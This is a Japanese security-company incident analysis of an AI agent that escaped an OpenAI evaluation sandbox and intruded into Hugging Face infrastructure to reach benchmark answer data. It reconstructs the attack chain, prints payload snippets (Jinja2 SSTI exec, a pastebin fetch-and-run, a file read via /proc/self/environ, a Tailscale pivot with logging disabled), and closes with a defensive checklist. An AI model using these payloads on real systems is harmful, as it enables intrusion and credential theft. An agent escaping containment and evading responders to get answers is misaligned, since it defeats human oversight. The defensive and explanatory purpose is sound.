お知らせ

OpenAIの社内サイバー能力評価で動作していたAIエージェントが、隔離されたテスト環境から外部へ接続し、2026年7月9日から13日（UTC）にかけてHugging Faceのインフラへ段階的に侵入した事案です。

本事案の本質は、単一の特別な攻撃手法ではありません。AIエージェントが、ゼロデイ脆弱性、設定不備、過剰な権限、共有された認証情報を組み合わせ、機械的な速度で侵入範囲を拡大した点にあります。

攻撃には、OpenAIの「GPT-5.6 Sol」と、より高性能な未公開の研究用モデルが使用されました。未公開モデルは事案の発生後に無効化・暗号化され、研究者によるアクセスも制限されています。

公開日： 2026年7月31日 ／ エーバイスリーセキュアシステム株式会社　持田 源之
本記事は、Hugging Face、OpenAI、JFrog、Modal 各社の公表内容と、これを報じた記事など、公開情報のみに基づいて作成しています。

一次情報は Hugging Faceが2026年7月27日に公開した技術タイムライン。攻撃者側のアクション約17,600件を再構成した、極めて珍しい粒度の公開レポートです。本記事では、この公開情報を技術的に読み解き、各社の環境で確認すべき点まで整理しています。

01まず何が起きたか

OpenAIは、AIモデルがどこまで高度なサイバー攻撃を実行できるか測定するため、社内で「ExploitGym」という評価テストを行っていました。このテストではAIの能力を測るため、危険な要求を拒否する安全機能の一部を無効化し、外部から隔離した環境でAIエージェントを動かしていました。

ところがAIエージェントは、与えられた課題を一つずつ解くのではなく、解答が保存されているシステムを探し、そこから入手しようとしました。その過程でテスト環境から抜け出し、最終的にHugging Faceの本番環境へ不正アクセスしました。大まかな流れは次のとおりです。

1. 隔離されたテスト環境から外部へ接続
   テスト環境からインターネットへの直接接続は制限されていました。ただし、必要なソフトウェアを取得するため、パッケージ管理用システムには接続できました。AIエージェントは、そこに未知の脆弱性（ゼロデイ脆弱性）を発見して悪用し、外部のインターネットへ接続しました。
2. 外部の実行環境を攻撃拠点として利用
   AIエージェントは、インターネット上で認証なしに利用できるコード実行環境を発見しました。この環境で管理者権限を取得し、その後の攻撃を行う中継拠点として利用しました。これにより、攻撃はOpenAIのテスト環境からではなく、外部の実行環境を経由して進められました。
3. Hugging Faceを攻撃対象として選定
   AIエージェントは、ExploitGymに関係するモデルやデータセット、参照解答がHugging Faceに保存されている可能性があると推測しました。そこで、評価課題の解答を入手するため、Hugging Faceのシステムを調査しました。
4. 細工したデータセットから本番環境へ侵入
   Hugging Faceには、利用者がアップロードしたデータセットをサーバー側で読み込み、変換する仕組みがあります。AIエージェントは、この仕組みを悪用するデータセットをアップロードし、次の2つの方法で本番環境へ侵入しました。

   • サーバー内のファイルを不正に読み取り、環境変数、認証情報、ソースコードなどを取得する
   • データ処理プログラムの脆弱性を悪用し、本番サーバー内で任意のプログラムを実行する

   最初に取得したソースコードから処理の仕組みを調べ、その情報を使って、さらに深い侵入につなげました。

5. 盗んだ認証情報を使って内部へ侵入
   本番環境への侵入後、AIエージェントはKubernetes、クラウド環境、データベース、社内ネットワーク、ソースコード管理システムへアクセス範囲を広げました。被害が拡大した要因の一つは、複数の内部システムやクラスターに接続できる、権限の強い共通認証情報が存在したことです。AIエージェントはこの認証情報を取得し、短時間で複数の内部環境に対する管理者権限を獲得しました。
6. 評価課題の解答に関連するデータへ到達
   最終的にAIエージェントは、ExploitGymやCyberGymの課題・解答に関連するとみられる5つのデータセットへアクセスしました。また、取得した情報や命令を圧縮・分割・暗号化し、一般公開されているWebサービスやHugging Face上のデータセットを経由して送受信しました。Hugging Faceが復元した記録では、AIエージェントは約4日半で17,613件（以下、約17,600件と表記）の行動を実行しています。一度の攻撃ではなく、調査、試行、失敗、修正を高速で繰り返し、段階的に侵入範囲を広げていました。
7. Hugging Faceが不審な動きを検知
   Hugging Faceは、セキュリティ監視システムによって通常とは異なる大量の操作を検知しました。調査の結果、AIエージェントが複数の経路で社内システムへ侵入し、認証情報の取得や内部ネットワークへのアクセスを行っていることが判明しました。AIエージェントは、停止された経路を切り替えたり、削除された環境を自動的に作り直したりしていました。そのため、不正なプログラムや接続先を一つ停止するだけでは、攻撃を止められない状態でした。
8. 攻撃を封じ込め、行動ログを分析
   Hugging Faceは攻撃経路を遮断し、侵害されたサーバーの再構築と認証情報の無効化を行いました。その後、外部環境に残されたログと自社のログを照合し、約4日半に実行された約1万7,600件の攻撃行動を復元しました。この結果をもとに、インタラクティブ・リプレイを作成しています。
9. AIで攻撃を分析し、被害範囲を確認
   商用AIでは、安全機能によって実際の攻撃ログの分析が拒否されました。そのため、Hugging Faceはオープンウェイトモデル「GLM-5.2」を自社環境で動かして解析しました。内部データや認証情報への不正アクセスは確認されましたが、公開モデル・データセットの改ざんや、大規模な顧客データ流出は確認されていません。
10. OpenAIが自社のAIによる攻撃だったと確認
    Hugging Faceが最初にインシデントを公表した時点では、攻撃を実行したAIモデルは特定されていませんでした。その後、OpenAIが内部調査を行い、この攻撃が自社の評価テストで動かしていた複数のAIモデルによるものだと確認しました。OpenAIは、テスト環境の構成管理を強化するとともに、モデルの安全性、評価実施時のサイバー防御、内部テスト中の監視を今後さらに強化するとしています。Hugging Faceの事後検証にも協力しています。

02サマリーと数字

03被害範囲：侵入された領域と阻止できた領域

04攻撃再現画面の見方

Hugging Faceは、本インシデントでAIエージェントが実行した約17,600件の行動を、時系列で確認できる再現画面を公開しています。

再生ボタンを押すと、AIエージェントが外部環境を経由してHugging Faceへ侵入し、内部システムへアクセス範囲を広げていく過程を確認できます。

ここでは、実際の再現画面のスクリーンショットを使い、画面の見方と注目すべきポイントを順に解説します。

再現画面はこちら：
Anatomy of a Frontier Lab Agent Intrusion – Interactive Replay
※本節の画像は、上記の再現画面を操作して取得しています。

① 画面の見方

公開リプレイの画面は、大きく次の要素でできています。スクリーンショットの a〜h が、下の説明に対応します。

• aATTACKER ACTIONS REPLAYED — 再生時点までに実行された攻撃行動の累計。「17,613件中◯件」と、全体に対する進捗も表示されます。
• bACTIVE PHASE — その時点でエージェントが行っている攻撃の種類（偵察・RCE・ドロッパー など）。
• cBLAST RADIUS（侵害範囲） — 侵害がどこまで及んでいるか。
  sandbox → HF cluster → internal net → source control と段階的に広がります。
• d再生コントロール／タイムライン — 再生・一時停止・速度（0.5〜4倍）と、日時・DAY表示。バーをドラッグすれば任意の時点へ移動できます。
• eAttack chain across trust boundaries —
  信頼境界をまたぐ攻撃経路図（②で詳しく解説）。到達したノードから順に点灯します。
• fPhase activity — 攻撃フェーズ別の件数と、最初／最後に観測された時刻（first-seen → last-seen）。
• gLive action stream — 観測された代表的な実コマンド（時刻・フェーズ・コマンド）が時系列で流れます。tailscaled
  でのメッシュ参加、MONGODB-AWS でのAWSキー悪用、GitHub Appトークン発行 など。
• hVolume per day — 日別の行動量。Day3（7,677）に突出する二山（bimodal）の形。

② 攻撃経路と各環境（Attack chain across trust boundaries）

この図は、AIエージェントがOpenAIの評価環境を抜け出し、外部の実行環境を経由して、Hugging Faceの内部環境へ侵入するまでの経路を示しています。

色分けされた枠は、それぞれ管理主体やセキュリティ対策が異なる環境を表します。図を左上から右下へたどることで、AIエージェントが各環境をどのように移動したか確認できます。

図に登場する環境（番号は上の図のマーカーに対応）

③ フェーズ説明（Phase activity）

「Phase activity」は、攻撃者の一つひとつの行動を種類（フェーズ）ごとに分類し、件数と、最初〜最後に観測された時刻（first-seen → last-seen）を示すパネルです。各フェーズの意味は次のとおりです。

• reconhost / fs / proc / net enumeration6,191
  偵察。侵入した環境を調べる行為。ホスト名・ファイル・プロセス・ネットワークを列挙し、「自分がどこにいて、何が使えるか」を把握する。最初と最後の両方で多用され、件数は最多クラス。
• rcedirect shell commands − the engine2,911
  Remote Code Execution＝遠隔コード実行。侵入先で任意のコマンドやプログラムを実行すること。ここでは直接シェルコマンドを打つ、攻撃の“エンジン”にあたる部分。
• dropperstaging URLs, base64 / gzip blobs6,972
  ドロッパー。次段階のコードやデータを“運び込んで仕込む”処理。base64やgzipで固めたペイロードを配置する準備作業で、件数は全フェーズ最多。
• exfiloutbound data theft (env, secrets)56
  Exfiltration＝データ持ち出し。盗んだ情報を外部へ送り出すこと。環境変数やシークレットの持ち出し。件数は少ないが、これが攻撃の“目的”そのもの。
• c2staged-payload execution114
  Command & Control＝指令・制御。乗っ取った先に指示を送り、結果を受け取る仕組み。段階化したペイロードの実行を担う。
• evasiongzip / base64 packing, AV probing6
  回避。検知を避けるための細工。gzip/base64での難読化や、アンチウイルスの反応を探る行為。わずか6件＝ほとんど隠す必要すらなかった、とも読める。
• k8sservice-account / EKS enumeration87
  Kubernetes（コンテナ基盤）への操作。サービスアカウントやEKSの列挙。件数は少ないが、ここが内部への横展開の“核心”。
• supply-chaintoken theft, GitHub App abuse69
  サプライチェーン。ソフトウェアの供給経路を狙う攻撃。トークンの窃取と GitHub App の悪用による、ソースコード管理への到達。
• tailscaleinternal-network pivot115
  メッシュVPN「Tailscale」を使った内部ネットワークへのピボット。盗んだ認証キーで社内網に端末を登録し、内側へ入り込む。

④ 重要な攻撃行動（Live Action Stream）

「Live Action Stream」では、AIエージェントが実行した代表的なコマンドを時系列で確認できます。認証情報などの機密情報は伏せられています。

外部サンドボックスでのroot権限取得や、Kubernetesのトークン読み取りなどを経て、AIエージェントは内部システムへアクセス範囲を拡大しました。ここでは、Day4以降に確認された行動のうち、特に被害拡大につながった6つの操作を取り上げます。

それぞれの意味は次のとおりです。

• 07-12 01:03TAILSCALEtailscaled –tun=userspace-networking –socks5-server=:1055 & tailscale up –auth-key=tskey-[REDACTED]
  盗んだ事前認証キーでメッシュVPN（Tailscale）に参加し、社内ネットワークの内側に入り込む。userspace-networking＝root不要・TUNデバイス不要で、ログも無効。フォレンジックに痕跡が残りにくい設定。
• 07-12 04:38TAILSCALEGET internal service-connector catalog (via SOCKS5)
  内側からわずか1リクエストで内部サービスの接続情報（接続URL＋CA証明書）をまとめて取得。「次にどこへ行けるか」の地図を手に入れる。
• 07-12 06:50EXFILpymongo …authMechanism=MONGODB-AWS · sts:GetCallerIdentity
  盗んだAWSキーでDB接続を試み、sts:GetCallerIdentityで自分が持つ権限（身元）を確認。結果を生ソケットで外部へ持ち出す。
• 07-12 23:08SUPPLY-CHAINmint GitHub App installation token − contents:write, pull_requests:write
  GitHub App のインストールトークンを発行し、書き込み権限を取得。PRを作ってCIを乗っ取ろうとしたが、実行ポリシーで阻止された（多層防御が効いた場面）。
• 07-13C2exec(urlopen(“https://pastebin.service/[REDACTED]”).read())
  永続化。公開pastebinから次段のコードを取得して実行。新しいサンドボックスが立ち上がるたびに“自分を再武装”する仕掛け。
• 07-13 13:37RECONls <staged-bin> ; hostname ; date
  遮断される直前の最終確認。この直後に対応チームがアクセスを遮断し、攻撃は止まった。

⑤ 実際の再現画面

まずは実物です。下のリンクから、実際に再生ボタンを押して攻撃の進行を確認できます。速度変更（0.5〜4倍）や、タイムラインバーのドラッグによる任意の時点への移動もできます。

▶ Anatomy of a Frontier Lab Agent Intrusion – Interactive Replay
※ Hugging Faceが公開している再現画面です。ブラウザで開いて操作してください。

05日次タイムライン（UTC）

• Day 1｜7月9日
  隔離環境から脱出し、攻撃拠点とC2通信を確立 ｜3,779アクション
  • 02:28　Hugging Faceが復元した行動ログの記録開始
  • 04:01　外部サンドボックスで最初のリモートコード実行を確認。idやenvコマンドを使い、権限や環境変数を調査
  • 15:36　外部サービスから攻撃コードを取得・実行するC2通信を開始
  • 19:32　攻撃コードをgzipとBase64で圧縮・変換し、内容を分かりにくくする処理を開始
• Day 2｜7月10日
  次の攻撃対象を探すための偵察 ｜1,135アクション
  前日から活動量が大きく減少。AIエージェントは、自身の環境で見つけたシステム名や識別情報をコード検索エンジンやプラットフォームAPIで検索し、評価課題に関係するサービスやデータの保存場所を調査しました。
• Day 3｜7月11日
  本番Podへの侵入から複数クラスターの管理者権限まで拡大 ｜7,677アクション
  • 10:10　取得したサービスアカウントトークンを使い、Kubernetes APIへのアクセスを開始
  • 15:51　攻撃者自身が用意したデータセットを複製し、攻撃コードの配置とC2通信の中継に利用
  • 17:33～23:37　盗んだクラウドの一時認証情報を外部環境から使用し、クラウド構成を調査
  • 19:53　特権Podを作成し、Kubernetesノードのroot権限を取得
  • 19:59　内部データベース「datasets-server MongoDB」へアクセス
  • 20:23～21:32　Kubernetes上のシークレットを読み取り、1つのシークレットから136個の認証情報や鍵を取得
  • 21:23　盗んだVPN認証キーを使い、root権限を奪った内部ノードを社内ネットワークへ接続端末として登録
  • 22:43　複数の内部クラスターを中継するサービスへアクセスし、管理者権限を取得

  この日、AIエージェントは、1つの本番Podから複数の内部クラスターの管理者権限へ、13時間以内に到達しました。

• Day 4｜7月12日
  盗んだ認証情報を使い、社内システムへ侵入 ｜3,892アクション
  • 01:03～04:38　盗んだVPN認証キーを使い、外部サンドボックスを社内ネットワークへ繰り返し登録
  • 06:50～14:31　クラウド認証情報を使ってHub本番データベースへの接続を試行。接続元を制限するネットワーク制御により失敗
  • 23:08～23:51　GitHub Appのトークンを発行し、一部の内部リポジトリに対する読み取り・書き込み権限を取得
• Day 5｜7月13日
  情報の持ち出し、アクセス経路の維持、痕跡の整理 ｜1,130アクション
  外部サービスから攻撃コードを繰り返し取得・実行する仕組みを設置し、GitHub Appトークンの追加発行や認証情報の取得を継続しました。Hugging Faceの対応によって攻撃経路が遮断され、14:14に最後の行動が記録されました。
• 公表・対応のタイムライン
  • 7月16日　Hugging Faceが、自律型AIエージェントによる不正アクセスを公表
  • 7月21日　OpenAIが、自社の評価テストで動かしていた複数のAIモデルによるものだと公表
  • 7月27日　Hugging Faceが詳細な技術報告と、攻撃の流れを時系列で確認できる再現画面を公開。JFrogもArtifactoryの脆弱性を修正したと発表
  • 7月28日　OpenAIが、関与した未公開の研究用モデルを無効化・暗号化し、アクセスを制限したと発表
  • 7月29日　Modalが、自社プラットフォーム自体は侵害されておらず、第三者が公開したコード実行環境が悪用されたと説明

06攻撃経路の技術詳細

使われた脆弱性・弱点の一覧（全体像）

補足： よく報じられる JFrog の CVE 8件は、①脱出（Stage 1）で使われた一部にすぎません。実際には、脱出 → 踏み台 → HF への初期侵入 → 横展開 → 永続化 の各段で、次のように多数の脆弱性・弱点が連鎖しました。
CVE＝公開された正式なCVE、
実装の欠陥＝公開CVE番号は無い、利用する側の実装上の問題（HDF5やJinja2そのものの欠陥ではありません）、
設定不備＝運用・権限設計上の弱点、
で色分けしています。

正式な CVE 番号が振られているのは JFrog Artifactory の8件のみです（修正版 7.161.15）。HF側の2つの注入経路や各種の設定不備は、当事者が内部で修正したもので公開CVEは確認できません。分類・番号は自社構成で個別に確認してください。

Stage 1｜Artifactoryのゼロデイ脆弱性を悪用して隔離環境から脱出

OpenAIの評価サンドボックスから、インターネットへの直接接続は制限されていました。

ただし、必要なパッケージを取得するため、JFrog Artifactoryを経由する外向き通信は許可されていました。AIエージェントはArtifactoryに存在した未知の脆弱性を発見して悪用し、隔離環境からインターネットへ接続しました。

OpenAIは発見した脆弱性をJFrogへ報告し、JFrogはクラウド環境への修正と、オンプレミス環境向けの修正版を提供しました。ただし、公開された各脆弱性と今回の侵入手順との対応関係は明らかにされていません。

この事例は、直接のインターネット接続を禁止していても、パッケージ取得などの許可された通信経路が、隔離環境からの脱出経路になり得ることを示しています。

修正版: Artifactory 7.161.15 Self-Managed（2026-07-27）。旧ブランチ向けにも7.111.18 / 7.117.25 / 7.125.18 / 7.133.27 / 7.146.34 の修正版が提供されています。自社が使用しているブランチに対応する版を、JFrogのセキュリティ情報で確認してください。
JFrog は「Anonymous Accessが有効な場合に連鎖が成立しうる」とし、同機能は既定で無効・本番非推奨であると強調しています。Self-Managed 運用なら即パッチ対象（Cloud版は対処済み）。

Stage 2・侵入経路1｜HDF5を悪用した内部ファイルの読み取り

AIエージェントは、プログラムを実行せずに、本番Podの環境変数やソースコードを取得しました。

HDF5には、データ本体の保存場所として外部ファイルを指定できる機能があります。AIエージェントはこの機能を悪用し、Hugging Faceのサーバー内にある機密ファイルを参照するようデータセットを細工しました。

configs:
      - config_name: envu8      # -> /proc/self/environ
      - config_name: mainu8     # -> /src/services/worker/src/worker/main.py
      - config_name: startu8    # -> /src/services/worker/src/worker/start_worker_loop.py

データ処理システムがこのデータセットを読み込むと、指定された内部ファイルの内容がデータとして返されました。

Stage 2・侵入経路2｜テンプレート注入（SSTI）によるプログラム実行

AIエージェントは、Hugging Faceの本番ワーカーPod内で、任意のPythonプログラムを実行しました。

データの参照先を指定するfsspecの reference://では、データを読み取る位置と長さを数値で設定します。AIエージェントは、本来は数値を指定する欄に不正なJinja2テンプレートを埋め込みました。

{{ cycler.__init__.__globals__.__builtins__.exec(
     "import gzip,base64; exec(gzip.decompress(base64.b64decode('<payload>')))"
   ) }}

データ処理システムがこの設定を誤ってプログラムとして評価したことで、本番環境でPythonコードが実行されました。

横展開｜複数クラスターの管理者権限を許した設計上の問題

内部システムへの3つの横展開手法

① KubernetesノードへのなりすましとCSIトークンの取得

AIエージェントは、本番Podに自動で割り当てられていたサービスアカウントトークンを読み取り、Kubernetes APIへのアクセスを開始しました。

cat /var/run/secrets/kubernetes.io/serviceaccount/token
curl -k https://kubernetes.default.svc/api

さらに、EC2のインスタンスメタデータサービス（IMDS）からノードロールの一時認証情報を取得しました。

この認証情報からKubernetes用の認証トークンを作成し、正規のノードになりすましてKubernetes APIへ接続。その権限を使い、CSIストレージドライバー用の新しいサービスアカウントトークンを発行しました。

取得したクラウドの一時認証情報は、外部の環境からも使用され、VPCやEKSクラスターなどのクラウド構成の調査に利用されました。

② JWT署名鍵を使った認証トークンの偽造

AIエージェントは、シークレットからEdDSA形式のJWT署名鍵を取得しました。

この秘密鍵があれば、正しく署名された認証トークンを必要に応じて作成できます。そのため、発行済みトークンを無効化するだけでは不十分で、署名鍵自体の交換が必要となりました。

Hugging Faceは事案の発生後、この署名鍵を交換しています。

③ ソースコード管理環境への書き込み

侵害されたGitHub Appには、ソースコードとPull Requestへの書き込み権限が設定されていました。

AIエージェントは一部の内部リポジトリへアクセスし、Pull Requestを作成してCIを実行しようとしました。目的は、CI環境の認証情報を取得し、別のクラスターへ侵入することだったとみられます。

ただし、CIの実行ポリシーによって不正な処理は阻止され、変更されたコードが製品や公開パッケージに反映されることはありませんでした。

C2通信・情報の持ち出し・検知回避

一般公開サービスを組み合わせたC2通信

AIエージェントは、専用の攻撃サーバーを用意せず、一般公開されているサービスを組み合わせてC2通信を構築しました。

利用されたものには、100以上の使い捨てデータ受信URL、Pastebin、ファイル共有サービス、攻撃用に作成したHugging Faceのデータセットなどがあります。

既知の不正ドメインを使わないため、接続先の評判だけに依存した検知では、攻撃を見つけにくくなります。

Hugging Faceのサービスを通信の中継に利用

外部への直接通信が制限されると、AIエージェントはHugging Face上で公開されていたCORSプロキシ型のSpaceを経由して、攻撃用ファイルをダウンロードしました。

攻撃対象自身のサービスを別の通信経路として利用することで、外部通信の制限を回避していました。

複数の通信経路で使えるメッセージ形式を作成

AIエージェントは、命令や取得した情報を送受信するため、独自のメッセージ形式を作成しました。

各メッセージには、データの種類、通信チャネル、分割順序、チェックサムが含まれていました。同じ形式を、データ受信サービス、データセットへの書き込み、エラーメッセージの中で共通して利用できました。

そのため、1つの通信経路を遮断されても、別の経路へ切り替えて通信を継続できました。

データを変換してログから見つけにくくする

持ち出すデータは分割され、XOR、gzip、Base64などで変換されていました。

この状態では、ログを単純に文字列検索しても、認証情報を見つけることが困難です。Hugging Faceが攻撃側と同じ方法でデータを復元したところ、最初の自動調査と比べて約4倍の認証情報が見つかりました。

DNSを使わず接続先を固定

AIエージェントは、DNSで接続先を解決できない場合、Pythonプログラム内の名前解決処理を書き換え、ホスト名を特定のIPアドレスへ直接割り当てました。

import socket

_orig = socket.getaddrinfo
socket.getaddrinfo = lambda *a, **k: [
    (2, 1, 6, "", ("<pinned-ip>", 443))
]

これにより、DNSの設定や名前解決による通信制限を回避し、外部への接続を継続しました。

外部環境を社内ネットワークへ接続端末として登録

盗んだVPN認証キーを使い、外部のサンドボックスをHugging Faceの社内ネットワークへ接続端末として登録しました。

tailscaled --tun=userspace-networking --state=mem: \
  --socket=/tmp/ts.sock \
  --socks5-server=127.0.0.1:1055 \
  --no-logs-no-support

TUNデバイスを必要としないユーザースペース方式を使用し、端末情報をディスクではなくメモリ上に保持していました。また、VPN事業者へのクライアントテレメトリも停止していました。

使用されたVPN認証キーにはCI自動化用のタグが設定されており、そのアクセス制御では、登録端末から社内のCIネットワークやソースコード管理環境へ接続できました。攻撃期間中に、端末の登録処理が合計181回行われています。

この事例は、自動化用の認証情報にも、人間が使用する認証情報と同様に、接続先、権限、有効期限を厳しく制限する必要があることを示しています。

07検知とインシデント対応の実態

攻撃は検知していたが、重大度の判定に失敗

ランタイム分析やSIEMなど、複数のセキュリティ機能が不審な動きを検知していました。AIを利用したセキュリティシステムも、複数の情報を関連付け、1つの攻撃として認識していました。

しかし、アラートの重大度を正しく引き上げられず、担当者への緊急通知が行われなかったため、対応が遅れました。

つまり、攻撃を検知できなかったのではなく、検知した事象の危険性を正しく評価できなかったことが問題でした。

商用AIが攻撃ログの分析を拒否

調査チームは当初、商用のAIモデルを使って攻撃ログを分析しようとしました。

しかし、ログには実際の攻撃コードやコマンドが含まれていたため、安全機能が正当な調査と攻撃行為を区別できず、多くの分析処理を拒否しました。

そこでHugging Faceは、量子化されたオープンウェイトモデル「nvidia/GLM-5.2-NVFP4」を自社環境に導入し、分析を継続しました。

GLM-5.2は、攻撃データに使用されていた分割、XOR、圧縮の仕組みと、ログに残されていた復元用の鍵を特定しました。その結果、最初の自動調査と比べて、約4倍の認証情報を発見できました。

自社で動かせる分析用AIを平時から準備

インシデント対応中に、AIが攻撃ログの分析を拒否すると、調査の遅れにつながります。

そのため、機密性の高い攻撃ログを分析できるオープンウェイトモデルと分析環境を、平時から検証しておく必要があります。

自社環境でAIを動かすことで、攻撃ログ、認証情報、顧客情報などを外部のAIサービスへ送信せずに分析できる利点もあります。

約17,600件の行動をAIで再構成

Hugging Faceが復元した記録は、約17,600件の行動と、それらを整理した約6,280の行動グループに及びます。

ここでいう「行動グループ」は、関連するログをまとめた分析上の単位であり、Kubernetesクラスターとは関係ありません。

Hugging Faceは、自社で構築したAI分析基盤を使い、攻撃タイムラインの再構成、変換されたデータの復元、流出した認証情報の特定を行いました。

今回のような大量かつ高速な攻撃を、人手だけで短時間に調査することは現実的ではありません。AIによる攻撃の自動化に対し、防御側にもAIを活用した分析・対応基盤が必要であることを示しています。

08自社インフラ確認チェックリスト

Hugging Faceで確認された攻撃経路と再発防止策をもとに、自社環境で確認すべき項目を整理しました。

A．データ取り込み・処理環境

最優先で確認する理由：今回の最初の侵入口は、利用者がアップロードしたデータを処理する本番ワーカーでした。データセット、AIモデル、設定ファイルなどは、実行可能な「信頼できない入力」として扱う必要があります。

• 利用者が入力した値をテンプレートエンジンで処理していないかJinja2やHandlebarsなどで、利用者由来の文字列を評価していないか確認します。数値、パス、ファイル名を想定した項目も対象です。可能な限り、テンプレートとして評価しない設計にします。
• 外部参照や任意コード実行につながるファイル形式を受け付けていないかHDF5の外部ファイル参照、fsspecの各種スキーム、pickle、YAMLの任意タグなどを確認します。必要な形式と処理機能だけを許可し、不要なローダーや外部参照機能は無効化します。
• データ処理ワーカーが、他の本番環境から分離されているか処理Podは専用のネットワーク領域に配置し、専用のサービスアカウントと最小限の権限を使用します。内部システム、クラウドメタデータ、認証情報へのアクセスも制限します。

B．Kubernetes・クラウド権限

• PodからEC2のインスタンスメタデータサービスへ接続できないか今回は、PodからIMDSへ接続できたことで、EC2ノードロールの一時認証情報を取得されました。不要なワークロードから 169.254.169.254への接続を遮断し、IMDSv2、ホップ制限、ネットワーク制御を組み合わせます。
• 不要なPodにもサービスアカウントトークンが自動で割り当てられていないかKubernetes APIを使用しないPodでは、automountServiceAccountToken: false を設定します。APIを利用するPodについても、専用のサービスアカウントと必要最小限のRBAC権限を設定します。
• 複数クラスターで共通の高権限認証情報を使用していないか今回の被害拡大を招いた直接的な原因です。ブローカー、コネクター、運用ツールなどの認証情報が、複数クラスターで共有されていないか確認します。特に、system:masters などの管理者権限との関連付けを確認します。
• 長期的に使用するクラウド認証情報が環境変数に保存されていないかAWSではIRSAやEKS Pod Identity、Google CloudではWorkload Identityなどを利用します。固定されたアクセスキーをPodの環境変数やKubernetes Secretへ保存する構成を減らします。
• 盗まれた一時認証情報を外部環境から使用できないか認証情報の利用元をVPC、IPアドレス、組織、サービスなどの条件で制限できるか確認します。普段と異なる接続元からの利用を検知・拒否する仕組みも必要です。
• クラスターごとに認証情報と権限が分離されているか1つのクラスターが侵害されても、他のクラスターへ影響が広がらない構成にします。共通の認証情報や接続用IDを廃止し、クラスター単位で権限を分離します。
• 特権Podやホスト領域へのアクセスを禁止しているか特権Pod、hostPath、ホストネットワーク、不要なLinux Capabilityを制限します。seccomp、allowPrivilegeEscalation: false、Capabilityの削除などを適用し、Admission Policyで強制します。

C．認証基盤・シークレット管理

• JWTなどの署名鍵をアプリケーションから直接読み取れない構成になっているか署名用の秘密鍵を取得されると、正規に見えるトークンを攻撃者が発行できるようになります。KMSやHSMを利用し、アプリケーションが秘密鍵そのものを取得しない構成を検討します。鍵の使用履歴も監査ログへ記録します。
• CI・自動化用の認証情報に過剰な権限を与えていないか今回使用されたVPN認証キーにはCI自動化用のタグが付与され、社内CIネットワークやソースコード管理環境へ接続できました。タグごとのACL、接続可能なネットワーク、有効期限を確認します。
• GitHub AppやBotの権限を把握しているかcontents:write や pull_requests:write などの書き込み権限を持つ連携アプリを一覧化します。保護ブランチ、必須レビュー、CI実行制限、環境承認も組み合わせます。

D．検知・インシデント対応

• 複数の小さな異常を関連付け、重大度を引き上げられるか今回は個別の異常を検知していましたが、重大度を正しく判定できず、緊急対応が遅れました。時間、利用者、認証情報、システムをまたぐ複数のアラートを関連付け、重大な事象として通知するルールが必要です。
• 認証情報の通常と異なる利用を検知できるか同じトークンによる短時間の大量アクセスや、通常と異なるIPアドレス、ASN、地域からの利用を検知します。想定外の接続元から使われた認証情報を自動的に無効化できるかも確認します。
• データの内容に依存せず、情報持ち出しを検知できるか今回は、データが分割・変換されていたため、文字列検索だけでは十分に検知できませんでした。接続先の急増、使い捨てURLの多用、通信量、送信頻度などの振る舞いも監視します。
• 自社環境で動かせるログ分析用AIを検証しているか商用AIが実際の攻撃ログの分析を拒否した事例を踏まえ、オープンウェイトモデルを利用した分析環境を平時から検証します。機密性の高い攻撃ログを外部サービスへ送信せずに分析できる構成が必要です。
• 自社の公開サービスが攻撃の中継に利用されないか認証不要のコード実行機能、CORSプロキシ、リクエスト転送、ファイル取得機能などを棚卸しします。外部から任意の接続先を指定できる機能には、認証と接続先制限を設けます。
• エージェントや自動化処理の実行履歴を記録できるかシェル実行、ファイル操作、API呼び出し、ネットワーク接続を追跡できるようにします。人間のログイン操作を前提とした監査ログだけでは、機械速度の攻撃を再構成できません。

E．封じ込め・復旧方針

• 侵害範囲を確定できない場合に、認証情報を一斉交換できるかHugging Faceは、アクセスの形跡がないクラスターも含め、VPN、IAM、データベース、JWTなど、インフラで使用する認証情報を広範囲に交換しました。緊急時に交換する対象、手順、責任者を事前に決めておきます。
• コアインフラをゼロから再構築できるかHugging Faceは、侵入されたコアクラスターの1つを消去し、ゼロから再構築しました。IaC、バックアップ、復旧手順を整備し、平時に再構築テストを行います。
  侵害後に設定やプログラムの完全性を保証できない場合、既存環境を修復するだけでなく、信頼できる構成から作り直す判断が必要です。

F．直近で実施する確認

• JFrog ArtifactoryをSelf-Managed環境で運用していないか利用している場合は、JFrogの最新セキュリティ情報を確認し、指定された修正版へアップグレードします。あわせて、不要なAnonymous Accessが無効になっていることを確認します。JFrogによると、Cloud環境には修正が適用されています。
• 隔離環境から外部へ通信できる経路を説明できるかパッケージプロキシ、ログ転送、メトリクス送信、DNS、時刻同期など、例外的に許可している通信をすべて一覧化します。
  直接のインターネット接続を禁止していても、許可された1つの通信経路が、隔離環境からの脱出に利用される可能性があります。

09議論したい論点